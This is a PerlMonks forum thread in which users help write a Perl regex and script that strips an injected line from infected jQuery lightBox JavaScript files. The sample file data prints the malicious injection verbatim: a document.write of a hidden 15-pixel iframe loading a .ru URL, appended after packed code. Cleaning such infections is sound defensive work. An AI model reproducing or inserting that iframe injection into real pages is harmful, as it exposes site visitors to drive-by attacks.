Beefy Boxes and Bandwidth Generously Provided by pair Networks
There's more than one way to do things
 
PerlMonks  

Re: trouble with regular expressions

by 2teez (Priest)
on Nov 06, 2012 at 16:19 UTC ( #1002516=note: print w/ replies, xml ) Need Help??


in reply to trouble with regular expressions

Hi programmer.perl,

My 2 'kobo' input is this:

I have to change a whole string to a "; //eof"

string to be changed is ;document.write('<iframe src="any url" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>'); this string is found at the end of the file: it is the last string


You could do this:

use warnings; use strict; while (<DATA>) { chomp; if (/(.+?)\;doc.*?$/s) { print $1, ';//eof', $/; } else { print $_, $/; } } __DATA__ /** * jQuery lightBox plugin * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D +hakar (http://www.huddletogether.com/projects/lightbox2/) * and adapted to me ...SHORTENED... */ eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a) +))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl +ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r +[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n +ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4 +=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16 +\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10, +2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I +=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'}) +;1O();4.h.B ...SHORTENED... style|fromCharCode|String|DOM_VK_E +SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms +ie|400|browser|animate|lightBox|do'.split('|'),0,{}));document.write( +'<iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8" + scrolling="auto" frameborder="no" align="center" height="15" width=" +15"></iframe>');
OUTPUT:
/** * jQuery lightBox plugin * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D +hakar (http://www.huddletogether.com/projects/lightbox2/) * and adapted to me ...SHORTENED... */ eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a) +))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl +ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r +[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n +ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4 +=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16 +\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10, +2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I +=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'}) +;1O();4.h.B ...SHORTENED... style|fromCharCode|String|DOM_VK_E +SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms +ie|400|browser|animate|lightBox|do'.split('|'),0,{}));//eof
NOTE:
Please, be guided that this expression if (/(.+?)\;doc.*?$/s) {..} may/might match more than one occassion, if such are in the other record apart from the one the OP gave in this trend.


Hope, this helps.
If you tell me, I'll forget.
If you show me, I'll remember.
if you involve me, I'll understand.
--- Author unknown to me


Comment on Re: trouble with regular expressions
Select or Download Code
Re^2: trouble with regular expressions
by programmer.perl (Beadle) on Nov 06, 2012 at 16:46 UTC
    Hi 2teez,

    my last solution was (anyway it puts a js comment "//" and next codes are invalid, but here were an unwanted bits in HD memory)

    #!/usr/bin/perl -w use 5.010; use strict; use warnings; open (FINDIT, "find /home/auu/Documents/js -name '*.js' -type f -print + |") || die "Couldn't execute find!\n"; while (my $filename = <FINDIT>) { open (TABLETKA, "+<$filename") || die "Can't open a file $filename: $! +\n"; my @lines = <TABLETKA>; foreach (@lines) { print "$filename is cleaned\n" if s{(\;do.*)(</iframe>'\);)}{\; //eof} +; } seek(TABLETKA,0,0) || die; print TABLETKA @lines; close (TABLETKA); }

    this is (above) is my final code, now I'm thinking how to integrate your code to my code... do you have any idea? ))...

    Enough codes make shapes. (Hamidjon)

      When you overwrite the original file with less text it doesn't clear out the original text, that is where the extra stuff after //eof comes from. Try writing to a new file to see this for yourself.

        Yes, you are right, I'm happy that we found the bug... Now, but I have to save to file itself, I can't (musn't) write to another file...
        Enough codes make shapes. (Hamidjon)

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://1002516]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others scrutinizing the Monastery: (6)
As of 2014-09-18 10:22 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    How do you remember the number of days in each month?











    Results (111 votes), past polls